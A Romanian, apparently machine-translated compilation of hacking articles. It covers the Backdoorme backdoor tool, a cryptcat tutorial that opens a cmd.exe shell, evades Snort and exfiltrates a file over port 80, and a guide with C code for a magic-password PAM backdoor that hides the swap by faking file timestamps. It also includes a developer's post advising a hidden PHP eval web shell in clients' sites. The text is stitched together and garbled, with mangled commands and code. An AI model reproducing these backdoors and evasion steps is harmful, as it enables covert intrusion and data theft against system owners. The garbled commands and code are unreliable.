Scriem o ușă din spate. O ușă în spate pentru un hacker în PC-ul tău – programul spion BackDoor

Backdoorme - un utilitar pentru crearea automată a ușilor din spate

Backdoorme este un utilitar puternic care poate crea multe uși din spate pe mașinile Unix. Backdoorme folosește interfața familiară metasploit cu o extensibilitate uimitoare. Backdoorme se bazează pe conexiunea SSH existentă a victimei sau pe acreditările pentru a transmite și exploata orice backdoor. Vă rugăm să utilizați Backdoorme cu permisiunea deschisă.

Ascuns de oaspeți

​

Backdoorme vine imediat cu un anumit număr de uși din spate, module și module auxiliare încorporate. Backdoor-urile sunt componente specifice pentru crearea și implementarea unei backdoor necesare, cum ar fi backdoor netcat sau backdoor msfvenom. Modulele pot fi aplicate oricărei uși din spate și sunt folosite pentru a face ușile din spate mai puternice, mai ascunse sau mai rapid de dezactivat. Auxiliarele sunt operații utile care pot fi efectuate pentru a ajuta la menținerea permanenței.

Mai multe despre ușile din spate: Pentru a rula backdoorme, asigurați-vă că aveți dependențele necesare.

$python dependencies.py

Lansați backdoorme:

$ python master.py

Ușile din spate

Pentru a utiliza ușa din spate, pur și simplu rulați cuvântul cheie „utilizați”.

>> utilizați shell/metasploit + Folosind ținta curentă 1. + Folosind backdoor Metasploit... (msf) >>

De acolo puteți seta opțiunile adecvate ușii din spate. Rulați fie „afișați opțiuni” fie „ajutor” pentru a vedea o listă de opțiuni care pot fi configurate.

La fel ca metasploit, ușile din spate sunt organizate pe categorii.

• Auxiliar
  • keylogger– Adaugă un keylogger în sistem și vă pune la dispoziție opțiunea de a trimite rezultatele înapoi prin poștă;
  • simpluhttp– Instalează serverul python SimpleHTTP pe client.
  • utilizator– Adaugă un utilizator nou la țintă.
  • web– Instalează Apache Server pe client.
• Escaladare
  • setuid– Backdoorul SetUID funcționează prin setarea bitului setuid pe fișierul executabil, ceea ce implică faptul că utilizatorul are acces root. Astfel, atunci când acest executabil este rulat ulterior de un utilizator care nu are acces root, fișierul este executat cu acces root. În mod implicit, această ușă din spate comută bitul setuid la nano, astfel încât, dacă accesul root este pierdut într-un fel, atacatorul se poate conecta din nou la SSH ca utilizator neprivilegiat și poate încă rula nano (sau orice binar ales) ca root. ("nano /etc/shadow"). Vă rugăm să rețineți că pentru a implementa această extensie backdoor, accesul root este necesar la început.
  • coajă– shell backdoor este o extensie backdoor privilegiată, similară (dar mai specifică) extensiei sale, fratele SetUID. Dublează shell-ul bash într-un binar ascuns și setează bitul SUID. Vă rugăm să rețineți că accesul root este inițial necesar pentru a implementa această extensie backdoor. Pentru a utiliza această ușă din spate în timp ce faceți SSH ca utilizator neprivilegiat, pur și simplu rulați „.bash -p” și veți avea acces root.
• Shell (categoria Shell)
  • bash– folosește un script bash simplu pentru a se conecta la o anumită combinație de ip și port și transmite rezultatul la bash.
  • bash2– o ușă din spate bash ușor diferită (și mai sigură) descrisă mai sus, care nu necesită o parolă pe partea clientului.
  • metasploit– folosește msfvenom pentru a crea un binar reverse_tcp pe țintă, apoi rulează binarul pentru a se conecta la shell-ul meterpreter.
  • netcat– folosește netcat pentru a transmite intrarea și ieșirea standard către /bin/sh, oferind utilizatorului un shell interactiv.
  • netcat_traditional– folosește netcat-traditional -e pentru a crea un shell invers.
  • perl- un script scris în perl care redirecționează rezultatul către bash și redenumește procesul pentru a apărea mai puțin vizibil.
  • php– lansează un backdoor php care trimite rezultatul la bash. Nu instalează automat un server web, ci folosește un modul web.
  • căţeluş– folosește ușa din spate n1nj4sec Pupy, care se află pe

    Ascuns de oaspeți

    .
  • piton– folosește un script python scurt pentru a executa comenzi și a trimite rezultatele înapoi utilizatorului.
  • web– trimite serverul web către țintă, apoi descarcă backdoor-ul msfvenom php reverse_tcp și se conectează la gazdă. Deși aceasta este încă o ușă php backdoor, nu este același cu backdoor php descris mai sus.
• Acces
  • remove_ssh– elimină serverul ssh de pe client. Este foarte convenabil de utilizat la sfârșitul unei sesiuni backdoor pentru a elimina orice urme.
  • ssh_key– creează o cheie RSA și o copiază la destinație pentru conectare fără o parolă ssh.
  • ssh_port– Adaugă un nou port pentru ssh.
• Windows (categoria Windows)
  • ferestre– Utilizează msfvenom pentru a crea o ușă din spate pentru Windows.

Module

Fiecare ușă din spate are capacitatea de a primi module suplimentare, care sunt folosite pentru a face ușa din spate mai puternică. Pentru a adăuga un modul, pur și simplu utilizați cuvântul cheie „adăugați”.

(msf) >> adaugă otravă + modulul otravă adăugat

Fiecare modul are opțiuni suplimentare care pot fi configurate și dacă rulați din nou „ajutor”, puteți vedea sau seta orice opțiuni suplimentare.

Modulele disponibile în prezent includ:

• Otravă
  • Efectuează otrăvirea coșului pe computerul țintă – Compilează un fișier executabil pentru a apela un utilitar de sistem și o ușă din spate existentă.
  • De exemplu, dacă modulul de otrăvire bin este rulat alături de „ls”, acesta va compila și porta un binar numit „ls” care va rula atât ușa din spate existentă, cât și cea originală „ls”, dezactivând astfel utilizatorul să ruleze ușa din spate mai des .
• Cron
  • Adaugă un backdoor existent la crontab-ul utilizatorului root pentru a rula la frecvența specificată.
• Web
  • Instalează un server web și găzduiește o pagină web care lansează backdoor.
  • Pur și simplu merge la un site cu un ascultător deschis și ușa din spate este lansată.
• Utilizator
  • Adaugă un utilizator nou la țintă.
• Lansare
  • Vă permite să creați uși din spate cu fișiere bashrc și init.
• Lista albă
  • Afișează IP-ul pe lista albă, astfel încât numai acest IP să se poată conecta la ușa din spate.

Traducere:

Cryptcat ne permite să comunicăm între două sisteme și să criptăm comunicarea dintre ele folosind twofish - unul dintre mulți algoritmi de criptare excelente.

Anterior, ne-am familiarizat cu unul mic, care vă permite să creați o conexiune între oricare două mașini și să transferați fișiere sau să creați un shell de comandă pentru a „prelua” sistemul. În ciuda frumuseții și eleganței acestui mic instrument, acesta are un dezavantaj major - transferurile între computere pot fi detectate de dispozitive de securitate, cum ar fi firewall-urile și sistemele de detectare a intruziunilor (IDS).

În acest tutorial, îl vom prezenta pe verișoara populară a lui netcat, cryptcat (de fapt, este mult mai drăguț și mai exotic decât netcat simplu).

Deoarece criptarea Twofish este la egalitate cu criptarea AES, acest lucru face ca cryptcat să fie practic rezistent la glonț. Astfel, IDS nu poate detecta comportamentul dăunător chiar și atunci când rutele sale trec prin porturile HTTP comune 80 și 443.

Pasul 1: Descărcați Cryptcat

Etapa 2: Deschideți ascultătorul pe sistemul Windows

Putem deschide ascultătorul pe orice sistem cu o sintaxă similară ca pentru netcat. În cazul nostru, deschidem un ascultător pe Windows 7 pe portul 6996 și creăm un shell de comandă.

cryptcat -l -p 6996 -e cmd.exe

L înseamnă „ascultător deschis”
-p 6996 înseamnă „plasați ascultătorul pe portul 6996”
-e cmd.exe înseamnă „porniți un shell de comandă pentru comunicare”

Etapa 3: Deschideți Snort sau alt IDS

Acum, să rulăm un IDS precum Snort pe un alt sistem care se va conecta la un sistem Windows pentru a vedea dacă criptarea poate orbi IDS-ul, lăsând ușa noastră invizibilă pentru dispozitivele de securitate similare.

Etapa 4: Conectați-vă la sistemul Windows cu Cryptcat

Cryptcat este instalat implicit pe BackTrack, așa că nu trebuie să îl descărcam și să îl instalăm. În plus, se află în directorul /bin, așa că îl putem accesa din orice director.

Acum să ne conectăm la sistemul cryptcat Windows 7 din sistemul nostru BackTrack și să vedem dacă putem realiza o conexiune criptată de tip backdoor care este aproape imposibil de detectat.

cryptcat 192.168.4.182.248 6996

După cum puteți vedea, suntem conectați la un sistem Windows 7 și am primit un shell de comandă de la un sistem Win 7! Acest lucru ne oferă un control semnificativ asupra acestui sistem, dar nu un control total, deoarece shell-ul de comandă are capacități limitate.

Etapa 5: Verificați jurnalele și alertele Snort

Acest tip de atac (traversarea shell-ului prin rețea) este ușor de detectat folosind Snort sau alte IDS atunci când conexiunea nu este criptată. Regulile Snort vor alerta administratorul de sistem că shell-ul cmd.exe traversează conexiunea la rețea și probabil că vor face ceva pentru a vă împiedica să utilizați acel shell. Cu conexiunea criptată disponibilă cu cryptcat, această conexiune este aproape imposibil de detectat.

Să ne întoarcem și să verificăm jurnalele și alertele din Snort. Dacă am reușit să evităm IDS, nu ar trebui să vedem un avertisment cu privire la mutarea shell-ului în rețea. Ne putem verifica jurnalele mergând la /var/snort/alerts și văzând dacă există alarme cauzate de conexiunea noastră la computerul Windows (de obicei ar trebui să găsim o alertă).

kwrite /var/snort/alerts

După cum puteți vedea, am avut succes. Ne-am putut conecta la sistemul Windows fără a alerta niciunul dintre sistemele de securitate!

Etapa 6: Trimiteți Crypcat pe portul 80 pentru a evita firewall-ul

Deși am creat cu succes o ușă din spate criptată pe sistemul victimei, un administrator de securitate atent va observa că există un port neobișnuit deschis (6996). Acest lucru va declanșa probabil un fel de acțiune de administrator de securitate pentru a ne restricționa accesul. De asemenea, pe sistemele cu un administrator de sistem bun și un firewall bun, acest port va fi probabil blocat de firewall.

Pentru ca orice rețea să poată comunica pe Internet, cel mai probabil trebuie să păstrați porturile 80 și 443 deschise, dar, eventual, 25, 53 și 110. Deoarece traficul de Internet normal necriptat trece prin portul 80, care este aproape întotdeauna deschis , atunci este puțin probabil să se observe o ușoară creștere a traficului.

Acum că am folosit cu succes cryptcat, să-l trimitem pe portul 80 cu tot restul traficului de internet. Deși este criptat, va arăta ca orice date binare transmise pe linie. Prin urmare, va fi aproape imposibil ca dispozitivele de securitate să detecteze pentru a-l bloca, deoarece acestea trebuie să permită întotdeauna traficul pe portul 80, iar traficul este criptat, iar IDS-ul nu va putea „vedea” conținutul acestuia.

Aici vom muta un fișier din sistemul victimei numit topsecret.txt în sistemul nostru atacator fără a fi detectat de niciun dispozitiv de securitate. De data aceasta, în loc să trimitem un shell prin rețea, vom trimite un fișier secret secret numit topsecret.txt prin conexiunea noastră criptată. Putem face acest lucru tastând în linia de comandă Windows:

cryptcat -l -p 80< topsecret.txt

L înseamnă „ascultător deschis”
-p 80 înseamnă „ascultător deschis pe portul 80”
< означает "отправить файл через этого слушателя"

Există o mulțime de moduri de a obține un punct de sprijin pe o mașină spartă. De la cele mai banale și ușor de detectat (adăugați-vă la baza de utilizatori) până la module complexe de nucleu care implementează un shell invers pe o mașină la distanță. Dar printre ele există o metodă foarte ușor de implementat și destul de secretă, despre care surprinzător de puțini oameni o știu. Aceasta este o modificare a modulelor sistemului de autentificare PAM, care este utilizată de toate sistemele UNIX moderne.

Ce este PAM

Modulele de autentificare conectabile (PAM) sunt un set de API-uri necesare pentru implementarea mecanismelor de autentificare în diverse aplicații.

Înainte de apariția PAM, pentru a implementa autentificarea, să zicem, folosind o cartelă cu cheie, dezvoltatorii au trebuit să adauge cod pentru a suporta aceleași carduri cheie în fiecare componentă a sistemului responsabilă cu autentificarea utilizatorilor. Adică, utilitarul de conectare, sshd, precum și orice alt software la care era planificat să se adauge funcționalități similare trebuiau adăugate și reconstruite.

Odată cu apariția PAM, situația a devenit mult mai simplă. Acum, pentru a adăuga propriul protocol de autentificare unic, auto-scris la sistem, este suficient să îl implementați în cadrul unui singur modul PAM. Și toate utilitățile și aplicațiile care pot funcționa cu PAM îl vor prelua și îl vor putea folosi pentru autentificarea utilizatorului.

În practică, arată cam așa: utilitarul de conectare apelează PAM, care efectuează toate verificările necesare folosind modulele specificate în fișierul de configurare și returnează rezultatul înapoi la utilitarul de conectare. Convenabil, nu-i așa? Cu toate acestea, această abordare conține oportunități pe care le putem folosi pentru a obține un punct de sprijin în sistem.

Merită să faceți o mică declinare a răspunderii. Există trei implementări principale ale PAM:

• Linux-PAM este principala implementare a PAM pe orice sistem Linux;
• OpenPAM - folosit pe sistemele BSD și macOS;
• JPam este o implementare PAM pentru aplicații Java.

Nu ne vom concentra asupra vreunei implementări specifice. Funcționalitatea de bază este aceeași peste tot.

Aspecte ale fixarii în *nix folosind PAM

Puteți găsi setările PAM pentru fiecare aplicație în catalog /etc/pam.d(Linux) sau în fișierul /etc/pam.conf. Un exemplu de fișier de configurare pentru utilitarul de conectare pe macOS:

auth opțional pam_krb5 .so use_kcminit auth opțional pam_ntlm .deci try_first_pass auth opțional pam_mount .deci try_first_pass auth required pam_opendirectory .deci try_first_pass cont necesar pam_nologin .so cont necesar pam_opendirectory .so parola necesară pam_opendirectory .so sesiune necesară pam_launchd .so sesiune necesară pam_uwtmp .so sesiune opțional pam_mount .so

Să vedem ce magie se întâmplă aici.

Fișierul de configurare descrie regulile de verificare care trebuie urmate pentru autentificarea cu succes a utilizatorului sau efectuarea altor acțiuni (schimbarea parolei, pregătirea mediului de utilizator). Fiecare linie a fișierului de configurare conține o regulă. Verificările se efectuează rând cu rând.

De la stânga la dreapta: tipul modulului, control_flag, numele modulului. Pentru noi, tipul de autentificare a modulului este de interes principal, aceste module sunt responsabile pentru autentificare. Control_flag este o proprietate de modul. Poate lua următoarele valori:

• requisit - Dacă modulul returnează un răspuns pozitiv, restul lanțului este executat și cererea este acordată. Dacă modulul returnează un răspuns negativ, atunci cererea este imediat respinsă și nu sunt efectuate alte verificări;
• necesar - exact la fel ca și necesar: dacă răspunsul este da, restul lanțului de verificare este executat. Singura diferență este că dacă răspunsul este negativ, lanțul de verificări continuă să fie executat, dar cererea este respinsă;
• suficient (suficient) - satisface cererea dacă niciuna dintre celelalte verificări efectuate anterior în lanț nu a funcționat negativ. Dacă modulul funcționează negativ, rezultatul este ignorat și lanțul de verificări este procesat în continuare;
• opțional - modulul este procesat, dar rezultatul este ignorat.

Deja în această etapă, probabil v-ați dat seama că, făcând mici modificări la fișierul de configurare, ne putem asigura autentificarea reușită cu orice parolă (este suficient să marcați toate modulele de autentificare ca opționale). Dar această soluție va funcționa până când un utilizator sau un administrator legitim observă că se conectează cu succes la sistem chiar și cu o parolă incorectă.

Scrierea propriului nostru modul backdoor

PAM ne permite să ne conectăm propriile module de autentificare. Prin urmare, putem crea un modul cu o parolă „magică” și ne putem asigura că sistemul acceptă atât parolele standard de utilizator, cât și parolele noastre. Dacă introduceți o parolă incorectă, vom vedea o eroare de autentificare complet așteptată. Nu este o opțiune rea.

Deci, codul (nu uitați să înlocuiți parola magică cu parola dvs. „magică”):

#include #include #include #include #include #include #define MYPASSWD „parolă-magic” PAM_EXTERN int pam_sm_setcred (pam_handle_t * pamh , int flags , int argc , const char * * argv ) ( returnează PAM_SUCCESS ; PAM_EXTERN int pam_sm_acct_mgmt (pam_handle_t * pamh , int flags , int argc , const char * * argv ) ( returnează PAM_SUCCESS ; PAM_EXTERN int pam_sm_authenticate (pam_handle_t * pamh , int flags , int argc , const char * * argv ) ( char * parola = NULL ; pam_get_authtok (pamh, PAM_AUTHTOK, (const char * *) & parola, NULL); dacă (! strncmp (parolă , MYPASSWD , strlen (MYPASSWD ) ) ) returnează PAM_SUCCESS ; întoarcere - 1;

Să asamblam modulul:

$ sudo apt - obțineți instalarea libpam0g - dev gcc $ gcc - fPIC - c pam_backdoor .c $ ld - x -- shared - o pam_backdoor .so pam_backdoor .o

Și puneți-l într-un director cu alte module:

$ sudo chown root : root pam_backdoor .so $ sudo cp pam_backdoor .so / lib / x86_64 - linux - gnu / securitate /

Vă rugăm să rețineți că calea /lib/x86_64-linux-gnu/security/ specific pentru Debian/Ubuntu. Pe Fedora, Red Hat și CentOS, modulele sunt localizate în director /lib64/security/, iar pe Arch Linux - în director /lib/security/.

Acum tot ce rămâne este să configurați PAM în așa fel încât trecerea verificării de către modulul dvs. să fie suficientă pentru autentificarea cu succes. De exemplu, configurația pentru utilitarul su ( /etc/pam.d/su):

Pe unele sisteme Linux, setările de autentificare pot fi plasate în mai multe fișiere: common-auth, common-password, common-session și apoi conectate la fișierele de configurare ale unor utilitare specifice prin @include . Acest punct trebuie luat în considerare.

După ce faceți setările în config, utilitarul su vă va permite să utilizați parola specificată în modul. Același truc poate fi făcut cu utilitarul de conectare (conectare la consolă) și sshd pentru autentificare de la distanță.

Încorporarea unei uși din spate într-un modul existent

În timp ce editați configurația PAM, este posibil să fi observat modulul pam_unix.so. Acest modul este responsabil pentru autentificarea utilizatorilor folosind o bază de date standard de parole pentru sistemele UNIX /etc/passwd. Multe utilitare îl folosesc, inclusiv su, login, sshd și alte programe (de exemplu, SecureFTPd).

Deoarece PAM este încă open source și avem acces la codul sursă atât al demonului în sine, cât și al componentelor sale standard, ne putem construi backdoor direct în acest modul.

Pentru a face modificările necesare, descărcați textele sursă PAM:

$http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz $tar - xzf inux - PAM - 1.1.8.tar.gz

Deschideți fișierul Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.cși căutați următoarele rânduri:

Asamblam și înlocuim modulul original cu al nostru:

$. /configurează $ face $ sudo cp Linux - PAM - 1.1.8 / modules / pam_unix / .libs / pam_unix .so / lib / x86_64 - linux - gnu / security /

Pentru a împiedica administratorul să observe înlocuirea, schimbăm timpul de creare a fișierului astfel încât să coincidă cu timpul de creare a altor module.

Îmi amintesc în articolul „10 sfaturi și recomandări pentru a comanda un site web”, am menționat un caz în care un client necinstit a decis să ne înșele deși lucram împreună de mai bine de un an și jumătate. După ce am aflat că nu vom fi plătiți cu nimic, nici măcar nu ne-am putut recupera site-urile, din moment ce nu a mai rămas nicio lacună în ele.

Totuși, ceea ce mi-a făcut somnoros a fost că într-unul dintre site-uri mai aveam o mică „intrare de urgență”, datorită căreia nu m-am gândit să dezvolt un al doilea site și să ies în lume. Și această intrare arăta ca un formular simplu pentru încărcarea fișierelor pe server.

Cu ajutorul lui, am încărcat scripturile necesare pe site și le-am rulat pe site, iar ei, la rândul lor, și-au făcut treaba murdară. Această ușă avea un dezavantaj - oricine o putea folosi, dacă, desigur, știa despre existența ei.

Timpul a trecut și, în ciuda faptului că până astăzi totul merge bine, acest lucru nu exclude posibilitatea ca un astfel de pătrunjel să se repete.

În principiu, poți folosi vechea metodă de a trimite un fișier executabil către server, dar... De ce aceste complicații dacă poți face totul mai simplu.

Ofer optiuni si idei pentru cea mai simpla backdoor, in cazul in care chiar apar probleme. Asa de…

1. Creăm un fișier php și îl numim ceva discret, cum ar fi license.php sau altceva.
2. Scriem cod în el

   if (isset($_POST["text"]))
   eval($_POST[„text”]);
   ?>
   

   
   
   
   

3. Plasăm fișierul undeva mai adânc în cms, de exemplu, în sălbăticia editorului WYSIWYG. Dacă doriți, duplicați fișierul în încă 2-3 locuri (pentru orice eventualitate)

Iată-l, un cadru pentru scandaluri. Cred că nu este nevoie să explicăm că funcția eval execută codul introdus în formular.

Acesta este doar un cadru care poate avea multe exemple de implementare. Să presupunem că puteți folosi highlight_file pentru a afișa conținutul unui fișier cu parole la care nu există acces direct. Vă puteți conecta la baza de date, puteți citi conținutul sau îl puteți modifica. Sau poți chiar să tipăriți un script pentru ștergerea totul de pe server, de ce nu.

Vă ofer mai jos idei de completare a acestei uși, care poate fi realizată după dorință – vă las, dragă cititor, ca temă opțională. Dar dacă dintr-o dată apare o dorință, mă voi uita cu plăcere la ceea ce s-a întâmplat.

Idei de îmbunătățire :

1. În general, ar fi bine ca ușa să nu fie accesibilă tuturor și să o autorizeze, de exemplu, prin .htaccess obișnuit, ei bine, sau folosind instrumente PHP bazate pe sesiune (sau mai bine, ambele - nota editorului).
2. Având autorizație, puteți pregăti în general un număr de butoane, făcând clic pe care puteți apela cutare sau cutare script. De exemplu, intri în ușa ta și există butoane - citește parolele, citește baza de date, șterge panoul administrativ și așa mai departe.
3. Alte idei?

In cele din urma

Este logic să folosești o ușă atunci când predai un site înainte de plată (uneori) sau când lucrezi într-o companie și vrei să fii în siguranță. În primul caz, când se face plata, ușa poate fi scoasă, sau o puteți lăsa, deși nu cred că va mai fi nevoie. Și în cel de-al doilea caz, va trebui să-l ții tot timpul gata.

Asta e tot pentru azi. Voi fi bucuros să văd ideile și sugestiile dumneavoastră pe această temă! Pana data viitoare

În blogul nostru despre Habré, nu vorbim doar despre dezvoltarea produsului nostru - facturarea pentru operatorii de telecomunicații Hydra, dar publicăm și materiale despre lucrul cu infrastructura și utilizarea tehnologiei.

Jurnalistul și hackerul german Leif Ryge a scris un articol interesant pentru Ars Technica despre modul în care abordarea modernă a organizării actualizărilor software implică riscuri serioase pentru securitatea informațiilor. Vă prezentăm atenției principalele gânduri ale acestei note.

fundal

În 2014, Washington Post a scris că companii precum Apple și Google ar trebui să inventeze ceva de genul unei chei secrete care ar putea fi folosită pentru a avea acces la produsele lor și pe care să le stocheze și să le transfere agențiilor de informații numai dacă vor primi soluții legale. .

Eliminarea legăturilor slabe, oricare dintre ele poate fi critică pentru atac, ar trebui să fie o cerință de bază pentru orice mecanism nou de distribuție a software-ului.